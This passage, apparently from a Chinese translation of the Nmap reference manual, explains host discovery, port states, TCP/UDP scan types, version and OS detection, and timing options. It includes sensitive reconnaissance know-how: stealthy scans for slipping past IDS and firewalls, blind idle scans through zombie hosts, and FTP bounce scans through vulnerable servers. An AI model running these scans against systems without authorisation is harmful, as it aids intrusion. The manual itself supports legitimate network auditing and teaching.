    虽然echo请求是标准的ICMP ping查询,Nmap并不止于此。ICMP标准(RFC 792)还规范了时间戳请求,信息请求request,和地址掩码请求,它们的代码分别是13,15和17。虽然这些查询的表面目的是获取信息如地址掩码和当前时间,它们也可以很容易地用于主机发现。很简单,回应的系统就是在运行的系统。Nmap目前没有实现信息请求报文,因为它们还没有被广泛支持。RFC 1122坚持“主机不应该实现这些消息”。时间戳和地址掩码查询可以分别用-PP-PM选项发送。时间戳响应ICMP代码14)或者地址掩码响应(代码18)表示主机在运行。当管理员特别封锁了echo请求报文而忘了其它ICMP查询可能用于相同目的时,这两个查询可能很有价值。

    -PR (ARP Ping)

    最常见的Nmap使用场景之一是扫描一个以太局域网。在大部分局域网上,特别是那些使用基于RFC1918私有地址范围的网络,在一个给定的时间绝大部分IP地址都是不使用的。当Nmap试图发送一个原始IP报文如ICMP echo请求时,操作系统必须确定对应于目标IP的硬件地址(ARP),这样它才能把以太帧送往正确的地址。这一般比较慢而且会有些问题,因为操作系统设计者认为一般不会在短时间内对没有运行的机器作几百万次的ARP请求。

    当进行ARP扫描时,Nmap用它优化的算法管理ARP请求。当它收到响应时,Nmap甚至不需要担心基于IP的ping报文,既然它已经知道该主机正在运行了。这使得ARP扫描比基于IP的扫描更快更可靠。所以默认情况下,如果Nmap发现目标主机就在它所在的局域网上,它会进行ARP扫描。即使指定了不同的ping类型(如-PI或者-PS),Nmap也会对任何相同局域网上的目标机使用ARP。如果您真的不想要ARP扫描,指定--send-ip

    -n (不用域名解析)

    告诉Nmap永不对它发现的活动IP地址进行反向域名解析。既然DNS一般比较慢,这可以让事情更快些。

    -R (为所有目标解析域名)

    告诉Nmap永远对目标IP地址作反向域名解析。一般只有当发现机器正在运行时才进行这项操作。

    --system-dns (使用系统域名解析器)

    默认情况下,Nmap通过直接发送查询到您的主机上配置的域名服务器来解析域名。为了提高性能,许多请求(一般几十个)并发执行。如果您希望使用系统自带的解析器,就指定该选项(通过getnameinfo()调用一次解析一个IP)。除非Nmap的DNS代码有bug–如果是这样,请联系我们。一般不使用该选项,因为它慢多了。系统解析器总是用于IPv6扫描。

    端口扫描基础

    虽然Nmap这些年来功能越来越多,它也是从一个高效的端口扫描器开始的,并且那仍然是它的核心功能。nmap <target>这个简单的命令扫描主机<target>上的超过1660个TCP端口。许多传统的端口扫描器只列出所有端口是开放还是关闭的,Nmap的信息粒度比它们要细得多。它把端口分成六个状态:open(开放的),closed(关闭的),filtered(被过滤的),unfiltered(未被过滤的),open|filtered(开放或者被过滤的),或者closed|filtered(关闭或者被过滤的)

    这些状态并非端口本身的性质,而是描述Nmap怎样看待它们。例如,对于同样的目标机器的135/tcp端口,从同网络扫描显示它是开放的,而跨网络作完全相同的扫描则可能显示它是filtered(被过滤的)。

    Nmap所识别的6个端口状态

    • open(开放的)

    应用程序正在该端口接收TCP连接或者UDP报文。发现这一点常常是端口扫描的主要目标。安全意识强的人们知道每个开放的端口都是攻击的入口。攻击者或者入侵测试者想要发现开放的端口。而管理员则试图关闭它们或者用防火墙保护它们以免妨碍了合法用户。非安全扫描可能对开放的端口也感兴趣,因为它们显示了网络上那些服务可供使用。

    • closed(关闭的)

    关闭的端口对于Nmap也是可访问的(它接受Nmap的探测报文并作出响应),但没有应用程序在其上监听。它们可以显示该IP地址上(主机发现,或者ping扫描)的主机正在运行up也对部分操作系统探测有所帮助。因为关闭的端口是可访问的,也许过会儿值得再扫描一下,可能一些又开放了。系统管理员可能会考虑用防火墙封锁这样的端口。那样他们就会被显示为被过滤的状态,下面讨论。

    • filtered(被过滤的)

    由于包过滤阻止探测报文到达端口,Nmap无法确定该端口是否开放。过滤可能来自专业的防火墙设备,路由器规则或者主机上的软件防火墙。这样的端口让攻击者感觉很挫折,因为它们几乎不提供任何信息。有时候它们响应ICMP错误消息如类型3代码13(无法到达目标:通信被管理员禁止),但更普遍的是过滤器只是丢弃探测帧,不做任何响应。这迫使Nmap重试若干次以访万一探测包是由于网络阻塞丢弃的。这使得扫描速度明显变慢。

    • unfiltered(未被过滤的)

    未被过滤状态意味着端口可访问,但Nmap不能确定它是开放还是关闭。只有用于映射防火墙规则集的ACK扫描才会把端口分类到这种状态。用其它类型的扫描如窗口扫描,SYN扫描,或者FIN扫描来扫描未被过滤的端口可以帮助确定端口是否开放。

    • open|filtered(开放或者被过滤的)

    当无法确定端口是开放还是被过滤的,Nmap就把该端口划分成这种状态。开放的端口不响应就是一个例子。没有响应也可能意味着报文过滤器丢弃了探测报文或者它引发的任何响应。因此Nmap无法确定该端口是开放的还是被过滤的。UDP,IP协议,FIN,Null,和Xmas扫描可能把端口归入此类。

    • closed|filtered(关闭或者被过滤的)

    该状态用于Nmap不能确定端口是关闭的还是被过滤的,它只可能出现在IPID Idle扫描中。

    端口扫描技术

    作为一个修车新手,我可能折腾几个小时来摸索怎样把基本工具(锤子,胶带,扳子等)用于手头的任务。当我惨痛地失败,把我的老爷车拖到一个真正的技师那儿的时候,他总是在他的工具箱里翻来翻去,直到拽出一个完美的工具然后似乎不费吹灰之力搞定它。端口扫描的艺术和这个类似。专家理解成打的扫描技术,选择最适合的一种(或者组合)来完成给定的任务。另一方面,没有经验的用户和刚入门者总是用默认的SYN扫描解决每个问题。既然Nmap是免费的,掌握端口扫描的唯一障碍就是知识。这当然是汽车世界所不能比的,在那里,可能需要高超的技巧才能确定您需要一个压杆弹簧压缩机,接着您还得为它付数千美金。

    大部分扫描类型只对特权用户可用。这是因为他们发送接收原始报文,这在Unix系统需要root权限。在Windows上推荐使用administrator账户,但是当WinPcap已经被加载到操作系统时,非特权用户也可以正常使用Nmap。当Nmap在1997年发布时,需要root权限是一个严重的局限,因为很多用户只有共享的shell账户。现在,世界变了,计算机便宜了,更多人拥有互联网连接,桌面UNIX系统(包括Linux和MAC OS X)很普遍了。Windows版本的Nmap现在也有了,这使它可以运行在更多的桌面上。由于所有这些原因,用户不再需要用有限的共享shell账户运行Nmap。这是很幸运的,因为特权选项让Nmap强大得多也灵活得多。

    虽然Nmap努力产生正确的结果,但请记住所有结果都是基于目标机器(或者它们前面的防火墙)返回的报文的。这些主机也许是不值得信任的,它们可能响应以迷惑或误导Nmap的报文。更普遍的是非RFC兼容的主机以不正确的方式响应Nmap探测。FIN,Null和Xmas扫描特别容易遇到这个问题。这些是特定扫描类型的问题,因此我们在个别扫描类型里讨论它们。

    这一节讨论Nmap支持的大约十几种扫描技术。一般一次只用一种方法,除了UDP扫描(-sU)可能和任何一种TCP扫描类型结合使用。友情提示一下,端口扫描类型的选项格式是-s<C>,其中<C>是个显眼的字符,通常是第一个字符,但有一个是例外:已弃用的FTP bounce扫描(-b)。默认情况下,Nmap执行一个SYN扫描,但是如果用户没有权限发送原始报文(在UNIX上需要root权限)或者如果指定的是IPv6目标,Nmap则调用connect()。本节列出的扫描中,非特权用户只能执行connect()和ftp bounce扫描。

    -sS (TCP SYN扫描)

    SYN扫描作为默认的也是最受欢迎的扫描选项,是有充分理由的。它执行得很快,在一个没有入侵防火墙的快速网络上,每秒钟可以扫描数千个端口。SYN扫描相对来说不张扬,不易被注意到,因为它从来不完成TCP连接。它也不像Fin/Null/Xmas,Maimon和Idle扫描依赖于特定平台,而可以应对任何兼容的TCP协议栈。它还可以明确可靠地区分open(开放的),closed(关闭的),和filtered(被过滤的)状态。

    它常常被称为半开放扫描,因为它不打开一个完全的TCP连接。它发送一个SYN报文,就像您真的要打开一个连接,然后等待响应。SYN/ACK表示端口在监听(开放),而RST(复位)表示没有监听者。如果数次重发后仍没响应,该端口就被标记为被过滤。如果收到ICMP不可到达错误(类型3,代码1,2,3,9,10,或者13),该端口也被标记为被过滤。

    -sT (TCP connect()扫描)

    当SYN扫描不能用时,CP Connect()扫描就是默认的TCP扫描。当用户没有权限发送原始报文或者扫描IPv6网络时,就是这种情况。与大多数写入原始报文的其他扫描类型相反,Nmap通过创建connect()系统调用要求操作系统和目标机以及端口建立连接,而不像其它扫描类型直接发送原始报文。这是和Web浏览器,P2P客户端以及大多数其它网络应用程序用以建立连接一样的高层系统调用。它是叫做Berkeley Sockets API编程接口的一部分。Nmap用该API获得每个连接尝试的状态信息,而不是读取响应的原始报文。

    当SYN扫描可用时,它通常是更好的选择。因为Nmap对高层的connect()调用比对原始报文控制更少,所以前者效率较低。该系统调用完全连接到开放的目标端口而不是像SYN扫描进行半开放的复位。这不仅花更长时间,需要更多报文得到同样信息,目标机也更可能记录下连接。IDS(入侵检测系统)可以捕获两者,但大部分机器没有这样的警报系统。当Nmap连接,然后不发送数据又关闭连接,许多普通UNIX系统上的服务会在syslog留下记录,有时候是一条加密的错误消息。此时,有些真正可怜的服务会崩溃,虽然这不常发生。如果管理员在日志里看到来自同一系统的一堆连接尝试,她应该知道她的系统被扫描了。

    -sU (UDP扫描)

    虽然互联网上很多流行的服务运行在TCP协议上,UDP服务也不少。DNS,SNMP,和DHCP(注册的端口是53,161/162,和67/68)是最常见的三个。因为UDP扫描一般较慢,比TCP更困难,一些安全审核人员忽略这些端口。这是一个错误,因为可探测的UDP服务相当普遍,攻击者当然不会忽略整个协议。所幸,Nmap可以帮助记录并报告UDP端口。

    UDP扫描用-sU选项激活。它可以和TCP扫描如SYN扫描(-sS)结合使用来同时检查两种协议。

    UDP扫描发送空的(没有数据)UDP报头到每个目标端口。如果返回ICMP端口不可到达错误(类型3,代码3),该端口是closed(关闭的)。其它ICMP不可到达错误(类型3,代码1,2,9,10,或者13)表明该端口是filtered(被过滤的)。偶尔地,某服务会响应一个UDP报文,证明该端口是open(开放的)。如果几次重试后还没有响应,该端口就被认为是open|filtered(开放|被过滤的)。这意味着该端口可能是开放的,也可能包过滤器正在封锁通信。可以用版本扫描(-sV)帮助区分真正的开放端口和被过滤的端口。

    UDP扫描的巨大挑战是怎样使它更快速。开放的和被过滤的端口很少响应,让Nmap超时然后再探测,以防探测帧或者响应丢失。关闭的端口常常是更大的问题。它们一般发回一个ICMP端口无法到达错误。但是不像关闭的TCP端口响应SYN或者Connect扫描所发送的RST报文,许多主机在默认情况下限制ICMP端口不可到达消息。Linux和Solaris对此特别严格。例如,Linux 2.4.20内核限制一秒钟只发送一条目标不可到达消息(见net/ipv4/icmp.c)。

    Nmap探测速率限制并相应地减慢来避免用那些目标机会丢弃的无用报文来阻塞网络。不幸的是,Linux式的一秒钟一个报文的限制使65,536个端口的扫描要花18小时以上。加速UDP扫描的方法包括并发扫描更多的主机,先只对主要端口进行快速扫描,从防火墙后面扫描,使用--host-timeout跳过慢速的主机。

    -sN; -sF; -sX (TCP Null,FIN,and Xmas扫描)

    这三种扫描类型(甚至用下一节描述的--scanflags选项的更多类型)在TCP RFC中发掘了一个微妙的方法来区分open(开放的)和closed(关闭的)端口。第65页说“如果[目标]端口状态是关闭的….进入的不含RST的报文导致一个RST响应。”接下来的一页讨论不设置SYN,RST,或者ACK位的报文发送到开放端口:“理论上,这不应该发生,如果您确实收到了,丢弃该报文,返回。”

    如果扫描系统遵循该RFC,当端口关闭时,任何不包含SYN,RST,或者ACK位的报文会导致一个RST返回,而当端口开放时,应该没有任何响应。只要不包含SYN,RST,或者ACK,任何其它三种(FIN,PSH,and URG)的组合都行。Nmap有三种扫描类型利用这一点:

    • Null扫描 (-sN) :不设置任何标志位(tcp标志头是0)
    • FIN扫描 (-sF) :只设置TCP FIN标志位。
    • Xmas扫描 (-sX):设置FIN,PSH,和URG标志位,就像点亮圣诞树上所有的灯一样。

    除了探测报文的标志位不同,这三种扫描在行为上完全一致。如果收到一个RST报文,该端口被认为是closed(关闭的),而没有响应则意味着端口是open|filtered(开放或者被过滤的)。如果收到ICMP不可到达错误(类型3,代号1,2,3,9,10或者13),该端口就被标记为被过滤的

    这些扫描的关键优势是它们能躲过一些无状态防火墙和报文过滤路由器。另一个优势是这些扫描类型甚至比SYN扫描还要隐秘一些。但是别依赖它–多数现代的IDS产品可以发现它们。一个很大的不足是并非所有系统都严格遵循RFC 793。许多系统不管端口开放还是关闭,都响应RST。这导致所有端口都标记为closed(关闭的)。这样的操作系统主要有Microsoft Windows,许多Cisco设备,BSDI,以及IBMOS/400。但是这种扫描对多数UNIX系统都能工作。这些扫描的另一个不足是它们不能辨别open(开放的)端口和一些特定的filtered(被过滤的)端口,从而返回open|filtered(开放或者被过滤的)

    -sA (TCP ACK扫描)

    这种扫描与目前为止讨论的其它扫描的不同之处在于它不能确定open(开放的)或者open|filtered(开放或者过滤的)端口。它用于发现防火墙规则,确定它们是有状态的还是无状态的,哪些端口是被过滤的。

    ACK扫描探测报文只设置ACK标志位(除非您使用--scanflags)。当扫描未被过滤的系统时,open(开放的)和closed(关闭的)端口都会返回RST报文。Nmap把它们标记为unfiltered(未被过滤的),意思是ACK报文不能到达,但至于它们是open(开放的)或者closed(关闭的)无法确定。不响应的端口或者发送特定的ICMP错误消息(类型3,代号1,2,3,9,10,或者13)的端口,标记为filtered(被过滤的)。

    -sW (TCP窗口扫描)

    除了利用特定系统的实现细节来区分开放端口和关闭端口,当收到RST时不总是打印unfiltered,窗口扫描和ACK扫描完全一样。它通过检查返回的RST报文的TCP窗口域做到这一点。在某些系统上,开放端口用正数表示窗口大小(甚至对于RST报文)而关闭端口的窗口大小为0。因此,当收到RST时,窗口扫描不总是把端口标记为unfiltered,而是根据TCP窗口值是正数还是0,分别把端口标记为open或者closed

    该扫描依赖于互联网上少数系统的实现细节,因此您不能永远相信它。不支持它的系统会通常返回所有端口closed。当然,一台机器没有开放端口也是有可能的。如果大部分被扫描的端口是closed,而一些常见的端口(如22,25,53)是filtered,该系统就非常可疑了。偶尔地,系统甚至会显示恰恰相反的行为。如果您的扫描显示1000个开放的端口和3个关闭的或者被过滤的端口,那么那3个很可能也是开放的端口。

    -sM (TCP Maimon扫描)

    Maimon扫描是用它的发现者Uriel Maimon命名的。他在Phrack Magazine issue #49(November 1996)中描述了这一技术。Nmap在两期后加入了这一技术。这项技术和Null,FIN,以及Xmas扫描完全一样,除了探测报文是FIN/ACK。根据RFC 793 (TCP),无论端口开放或者关闭,都应该对这样的探测响应RST报文。然而,Uriel注意到如果端口开放,许多基于BSD的系统只是丢弃该探测报文。

    --scanflags (定制的TCP扫描)

    真正的Nmap高级用户不需要被这些现成的扫描类型束缚。--scanflags选项允许您通过指定任意TCP标志位来设计您自己的扫描。让您的创造力流动,躲开那些仅靠本手册添加规则的入侵检测系统!

    --scanflags选项可以是一个数字标记值如9(PSH和FIN),但使用字符名更容易些。只要是URGACKPSHRSTSYNFIN的任何组合就行。例如,--scanflags URGACKPSHRSTSYNFIN设置了所有标志位,但是这对扫描没有太大用处。标志位的顺序不重要。

    除了设置需要的标志位,您也可以设置TCP扫描类型(如-sA或者-sF)。那个基本类型告诉Nmap怎样解释响应。例如,SYN扫描认为没有响应意味着filtered端口,而FIN扫描则认为是open|filtered。除了使用您指定的TCP标记位,Nmap会和基本扫描类型一样工作。如果您不指定基本类型,就使用SYN扫描。

    -sI <zombie host[:probeport]> (Idlescan)

    这种高级的扫描方法允许对目标进行真正的TCP端口盲扫描(意味着没有报文从您的真实IP地址发送到目标)。相反,side-channel攻击利用zombie主机上已知的IP分段ID序列生成算法来窥探目标上开放端口的信息。IDS系统将显示扫描来自您指定的zombie机(必须运行并且符合一定的标准)。这种奇妙的扫描类型太复杂了,不能在此完全描述,所以我写一篇非正式的论文[链接]

    除了极端隐蔽(由于它不从真实IP地址发送任何报文),该扫描类型可以建立机器间的基于IP的信任关系。端口列表从zombie主机的角度显示开放的端口。因此您可以尝试用您认为(通过路由器/包过滤规则)可能被信任的zombies扫描目标。

    如果您由于IPID改变希望探测zombie上的特定端口,您可以在zombie主机后加上一个冒号和端口号。否则Nmap会使用默认端口(80)。

    -sO (IP协议扫描)

    IP协议扫描可以让您确定目标机支持哪些IP协议(TCP,ICMP,IGMP,等等)。从技术上说,这不是端口扫描,既然它遍历的是IP协议号而不是TCP或者UDP端口号。但是它仍使用-p选项选择要扫描的协议号,用正常的端口表格式报告结果,甚至用和真正的端口扫描一样的扫描引擎。因此它和端口扫描非常接近,也被放在这里讨论。

    除了本身很有用,协议扫描还显示了开源软件的力量。尽管基本想法非常简单,我过去从没想过增加这一功能也没收到任何对它的请求。在2000年夏天,Gerhard Rieger孕育了这个想法,写了一个很棒的补丁程序,发送到nmap-hackers邮件列表。我把那个补丁加入了Nmap,第二天发布了新版本。几乎没有商业软件会有用户有足够的热情设计并贡献他们的改进。

    协议扫描以和UDP扫描类似的方式工作。它不是在UDP报文的端口域上循环,而是在IP协议域的8位上循环,发送IP报文头。报文头通常是空的,不包含数据,甚至不包含所申明的协议的正确报文头。TCP,UDP和ICMP是三个例外。它们三个会使用正常的协议头,因为否则某些系统拒绝发送,而且Nmap有函数创建它们。协议扫描不是注意ICMP端口不可到达消息,而是ICMP协议不可到达消息。如果Nmap从目标主机收到任何协议的任何响应,Nmap就把那个协议标记为open。ICMP协议不可到达错误(类型3,代号2)导致协议被标记为closed。其它ICMP不可到达协议(类型3,代号1,3,9,10或者13)导致协议被标记为filtered(虽然同时他们证明ICMP是open)。如果重试之后仍没有收到响应,该协议就被标记为open|filtered

    -b <ftp relay host> (FTP弹跳扫描)

    FTP协议的一个有趣特征(RFC 959)是支持所谓代理ftp连接。它允许用户连接到一台FTP服务器,然后要求文件送到一台第三方服务器。这个特性在很多层次上被滥用,所以许多服务器已经停止支持它了。其中一种就是导致FTP服务器对其它主机端口扫描。只要请求FTP服务器轮流发送一个文件到目标主机上的所感兴趣的端口。错误消息会描述端口是开放还是关闭的。这是绕过防火墙的好方法,因为FTP服务器常常被置于可以访问比Web主机更多其它内部主机的位置。Nmap用-b选项支持ftp弹跳扫描。参数格式是<username>:<password>@<server>:<port><Server>是某个脆弱的FTP服务器的名字或者IP地址。您也许可以省略<username>:<password>,如果服务器上开放了匿名用户(user:anonymous password:-wwwuser@)。端口号(以及前面的冒号)也可以省略,如果<server>使用默认的FTP端口(21)。

    当Nmap1997年发布时,这个弱点被广泛利用,但现在大部分已经被fix了。脆弱的服务器仍然存在,所以如果其它都失败了,这也值得一试。如果您的目标是绕过防火墙,扫描目标网络上的开放的21端口(或者甚至任何ftp服务,如果您用版本探测扫描所有端口),然后对每个尝试弹跳扫描。Nmap会告诉您该主机脆弱与否。如果您只是试着玩Nmap,您不必(事实上,不应该)限制您自己。在您随机地在互联网上寻找脆弱的FTP服务器时,考虑一下系统管理员不太喜欢您这样滥用他们的服务器。

    端口说明和扫描顺序

    除了所有前面讨论的扫描方法,Nmap还提供选项说明哪些端口被扫描以及扫描是随机还是顺序进行。默认情况下,Nmap用指定的协议对端口1到1024以及nmap-services文件中列出的更高的端口在扫描。

    -p <port ranges> (只扫描指定的端口)

    该选项指明您想扫描的端口,覆盖默认值。单个端口和用连字符表示的端口范围(如1-1023)都可以。范围的开始以及/或者结束值可以被省略,分别导致Nmap使用1和65535。所以您可以指定-p-从端口1扫描到65535。如果您特别指定,也可以扫描端口0。对于IP协议扫描(-sO),该选项指定您希望扫描的协议号(0-255)。

    当既扫描TCP端口又扫描UDP端口时,您可以通过在端口号前加上T:或者U:指定协议。协议限定符一直有效您直到指定另一个。例如,参数-p U:53,111,137,T:21-25,80,139,8080将扫描UDP端口53,111,和137,同时扫描列出的TCP端口。注意,要既扫描UDP又扫描TCP,您必须指定-sU,以及至少一个TCP扫描类型(如-sS-sF,或者-sT)。如果没有给定协议限定符,端口号会被加到所有协议列表。

    -F (快速 (有限的端口) 扫描)

    只扫描nmap-services文件中的列表。在nmap的nmap-services文件中(对于-sO,是协议文件)指定您想要扫描的端口。这比扫描所有65535个端口快得多。因为该列表包含如此多的TCP端口(1200多),这和默认的TCP扫描scan(大约1600个端口)速度差别不是很大。如果您用--datadir选项指定您自己的小小的nmap-services文件,差别会很惊人。

    -r (不要按随机顺序扫描端口)

    默认情况下,Nmap按随机顺序扫描端口(除了出于效率的考虑,常用的端口前移)。这种随机化通常都是受欢迎的,但您也可以指定-r来顺序端口扫描。

    服务和版本探测

    把Nmap指向一个远程机器,它可能告诉您端口25/tcp,80/tcp,和53/udp是开放的。使用包含大约2,200个著名的服务的nmap-services数据库,Nmap可以报告那些端口可能分别对应于一个邮件服务器(SMTP),web服务器(HTTP),和域名服务器(DNS)。这种查询通常是正确的–事实上,绝大多数在TCP端口25监听的守护进程是邮件服务器。然而,您不应该把赌注押在这上面!人们完全可以在一些奇怪的端口上运行服务。

    即使Nmap是对的,假设运行服务的确实是SMTP,HTTP和DNS,那也不是特别多的信息。当为您的公司或者客户作安全评估(或者甚至简单的网络明细清单)时,您确实想知道正在运行什么邮件和域名服务器以及它们的版本。有一个精确的版本号对了解服务器有什么漏洞有巨大帮助。版本探测可以帮您获得该信息。

    在用某种其它类型的扫描方法发现TCP / UDP端口后,版本探测会询问这些端口,确定到底什么服务正在运行。nmap-service-probes数据库包含查询不同服务的探测报文和解析识别响应的匹配表达式。Nmap试图确定服务协议(如ftp,ssh,telnet,http),应用程序名(如ISC Bind,Apache httpd,Solaris telnetd),版本号,主机名,设备类型(如打印机,路由器),操作系统家族(如Windows,Linux)以及其它的细节,如是否可以连接X server,SSH协议版本,或者KaZaA用户名)。当然,并非所有服务都提供所有这些信息。如果Nmap被编译成支持OpenSSL,它将连接到SSL服务器,推测什么服务在加密层后面监听。当发现RPC服务时,Nmap RPC grinder (-sR)会自动被用于确定RPC程序和它的版本号。如果在扫描某个UDP端口后仍然无法确定该端口是开放的还是被过滤的,那么该端口状态就被标记为open|filtered。版本探测将试图从这些端口引发一个响应(就像它对开放端口做的一样),如果成功,就把状态改为开放。open|filtered TCP端口用同样的方法对待。注意Nmap-A选项在其它情况下打开版本探测。有一篇关于版本探测的原理,使用和定制的文章[链接]

    当Nmap从某个服务收到响应,但不能在数据库中找到匹配时,它就打印一个特殊的fingerprint和一个URL给您提交,如果您确实知道什么服务运行在端口。请花两分钟提交您的发现,让每个人受益。由于这些提交,Nmap有350种以上协议如smtp,ftp,http等的大约3,000条模式匹配。

    用下列的选项打开和控制版本探测。

    -sV (版本探测)

    打开版本探测。您也可以用-A同时打开操作系统探测和版本探测。

    --allports (不为版本探测排除任何端口)

    默认情况下,Nmap版本探测会跳过9100 TCP端口,因为一些打印机简单地打印送到该端口的任何数据,这回导致数十页HTTP get请求,二进制SSL会话请求等等被打印出来。这一行为可以通过修改或删除nmap-service-probes 中的Exclude指示符改变,您也可以不理会任何Exclude指示符,指定--allports扫描所有端口

    --version-intensity <intensity> (设置 版本扫描强度)

    当进行版本扫描(-sV)时,nmap发送一系列探测报文,每个报文都被赋予一个1到9之间的值。被赋予较低值的探测报文对大范围的常见服务有效,而被赋予较高值的报文一般没什么用。强度水平说明了应该使用哪些探测报文。数值越高,服务越有可能被正确识别。然而,高强度扫描花更多时间。强度值必须在0和9之间。默认是7。当探测报文通过nmap-service-probes ports指示符注册到目标端口时,无论什么强度水平,探测报文都会被尝试。这保证了DNS探测将永远在任何开放的53端口尝试,SSL探测将在443端口尝试,等等。

    --version-light (打开轻量级模式)

    这是--version-intensity 2的方便的别名。轻量级模式使版本扫描快许多,但它识别服务的可能性也略微小一点。

    --version-all (尝试每个探测)

    --version-intensity 9的别名,保证对每个端口尝试每个探测报文。

    --version-trace (跟踪版本扫描活动)

    这导致Nmap打印出详细的关于正在进行的扫描的调试信息。它是您用--packet-trace所得到的信息的子集。

    -sR (RPC扫描)

    这种方法和许多端口扫描方法联合使用。它对所有被发现开放的TCP/UDP端口执行SunRPC程序NULL命令,来试图确定它们是否RPC端口,如果是,是什么程序和版本号。因此您可以有效地获得和rpcinfo -p一样的信息,即使目标的端口映射在防火墙后面(或者被TCP包装器保护)。Decoys目前不能和RPC scan一起工作。这作为版本扫描(-sV)的一部分自动打开。由于版本探测包括它并且全面得多,-sR很少被需要。

    操作系统探测

    Nmap最著名的功能之一是用TCP/IP协议栈fingerprinting进行远程操作系统探测。Nmap发送一系列TCP和UDP报文到远程主机,检查响应中的每一个比特。在进行一打测试如TCP ISN采样,TCP选项支持和排序,IPID采样,和初始窗口大小检查之后,Nmap把结果和数据库nmap-os-fingerprints中超过1500个已知的操作系统的fingerprints进行比较,如果有匹配,就打印出操作系统的详细信息。每个fingerprint包括一个自由格式的关于OS的描述文本,和一个分类信息,它提供供应商名称(如Sun),下面的操作系统(如Solaris),OS版本(如10),和设备类型(通用设备,路由器,switch,游戏控制台等)。

    如果Nmap不能猜出操作系统,并且有些好的已知条件(如至少发现了一个开放端口和一个关闭端口),Nmap会提供一个URL,如果您确知运行的操作系统,您可以把fingerprint提交到那个URL。这样您就扩大了Nmap的操作系统知识库,从而让每个Nmap用户都受益。

    操作系统检测可以进行其它一些测试,这些测试可以利用处理过程中收集到的信息。例如运行时间检测,使用TCP时间戳选项(RFC 1323)来估计主机上次重启的时间,这仅适用于提供这类信息的主机。另一种是TCP序列号预测分类,用于测试针对远程主机建立一个伪造的TCP连接的可能难度。这对于利用基于源IP地址的可信关系(rlogin,防火墙过滤等)或者隐含源地址的攻击非常重要。这一类哄骗攻击现在很少见,但一些主机仍然存在这方面的漏洞。实际的难度值基于统计采样,因此可能会有一些波动。通常采用英国的分类较好,如“worthy challenge”或者“trivial joke”。在详细模式(-v)下只以普通的方式输出,如果同时使用-O,还报告IPID序列产生号。很多主机的序列号是“增加”类别,即在每个发送包的IP头中增加ID域值,这对一些先进的信息收集和哄骗攻击来说是个漏洞。

    此文档[链接]使用多种语言描述了版本检测的方式、使用和定制。

    采用下列选项启用和控制操作系统检测:

    -O (启用操作系统检测)

    也可以使用-A来同时启用操作系统检测和版本检测。

    --osscan-limit (针对指定的目标进行操作系统检测)

    如果发现一个打开和关闭的TCP端口时,操作系统检测会更有效。采用这个选项,Nmap只对满足这个条件的主机进行操作系统检测,这样可以节约时间,特别在使用-P0扫描多个主机时。这个选项仅在使用-O-A进行操作系统检测时起作用。

    --osscan-guess; --fuzzy (推测操作系统检测结果)

    当Nmap无法确定所检测的操作系统时,会尽可能地提供最相近的匹配,Nmap默认进行这种匹配,使用上述任一个选项使得Nmap的推测更加有效。

    时间和性能

    Nmap开发的最高优先级是性能。在本地网络对一个主机的默认扫描(nmap <hostname>)需要1/5秒。而仅仅眨眼的时间,就需要扫描上万甚至几十万的主机。此外,一些特定的扫描选项会明显增加扫描时间,如UDP扫描和版本检测。同样,防火墙配置以及特殊的响应速度限制也会增加时间。Nmap使用了并行算法和许多先进的算法来加速扫描,用户对Nmap如何工作有最终的控制权。高级用户可以仔细地调整Nmap命令,在满足时间要求的同时获得他们所关心的信息。

    改善扫描时间的技术有:忽略非关键的检测、升级最新版本的Nmap(性能增强不断改善)。优化时间参数也会带来实质性的变化,这些参数如下。

    --min-hostgroup <size>; --max-hostgroup <size> (调整并行扫描组的大小)

    Nmap具有并行扫描多主机端口或版本的能力,Nmap将多个目标IP地址空间分成组,然后在同一时间对一个组进行扫描。通常,大的组更有效。缺点是只有当整个组扫描结束后才会提供主机的扫描结果。如果组的大小定义为50,则只有当前50个主机扫描结束后才能得到报告(详细模式中的补充信息除外)。

    默认方式下,Nmap采取折衷的方法。开始扫描时的组较小,最小为5,这样便于尽快产生结果;随后增长组的大小,最大为1024。确切的大小依赖于所给定的选项。为保证效率,针对UDP或少量端口的TCP扫描,Nmap使用大的组。

    --max-hostgroup选项用于说明使用最大的组,Nmap不会超出这个大小。--min-hostgroup选项说明最小的组,Nmap会保持组大于这个值。如果在指定的接口上没有足够的目标主机来满足所指定的最小值,Nmap可能会采用比所指定的值小的组。这两个参数虽然很少使用,但都用于保持组的大小在一个指定的范围之内。

    这些选项的主要用途是说明一个最小组的大小,使得整个扫描更加快速。通常选择256来扫描C类网段。对于端口数较多的扫描,超出该值没有意义。对于端口数较少的扫描,2048或更大的组大小是有帮助的。

    --min-parallelism <numprobes>; --max-parallelism <numprobes> (调整探测报文的并行度)

    这些选项控制用于主机组的探测报文数量,可用于端口扫描和主机发现。默认状态下,Nmap基于网络性能计算一个理想的并行度,这个值经常改变。如果报文被丢弃,Nmap降低速度,探测报文数量减少。随着网络性能的改善,理想的探测报文数量会缓慢增加。这些选项确定这个变量的大小范围。默认状态下,当网络不可靠时,理想的并行度值可能为1,在好的条件下,可能会增长至几百。

    最常见的应用是--min-parallelism值大于1,以加快性能不佳的主机或网络的扫描。这个选项具有风险,如果过高则影响准确度,同时也会降低Nmap基于网络条件动态控制并行度的能力。这个值设为10较为合适,这个值的调整往往作为最后的手段。

    --max-parallelism选项通常设为1,以防止Nmap在同一时间向主机发送多个探测报文,和选择--scan-delay同时使用非常有用,虽然这个选项本身的用途已经很好。

    --min-rtt-timeout <milliseconds>, --max-rtt-timeout <milliseconds>, --initial-rtt-timeout <milliseconds> (调整探测报文超时)

    Nmap使用一个运行超时值来确定等待探测报文响应的时间,随后会放弃或重新发送探测报文。Nmap基于上一个探测报文的响应时间来计算超时值,如果网络延迟比较显著和不定,这个超时值会增加几秒。初始值的比较保守(高),而当Nmap扫描无响应的主机时,这个保守值会保持一段时间。

    这些选项以毫秒为单位,采用小的--max-rtt-timeout值,使--initial-rtt-timeout值大于默认值可以明显减少扫描时间,特别是对不能ping通的扫描(-P0)以及具有严格过滤的网络。如果使用太小的值,使得很多探测报文超时从而重新发送,而此时可能响应消息正在发送,这使得整个扫描的时间会增加。

    如果所有的主机都在本地网络,对于--max-rtt-timeout值来说,100毫秒比较合适。如果存在路由,首先使用ICMP ping工具ping主机,或使用其它报文工具如hpings,可以更好地穿透防火墙。查看大约10个包的最大往返时间,然后将--initial-rtt-timeout设成这个时间的2倍,--max-rtt-timeout可设成这个时间值的3倍或4倍。通常,不管ping的时间是多少,最大的rtt值不得小于100ms,不能超过1000ms。

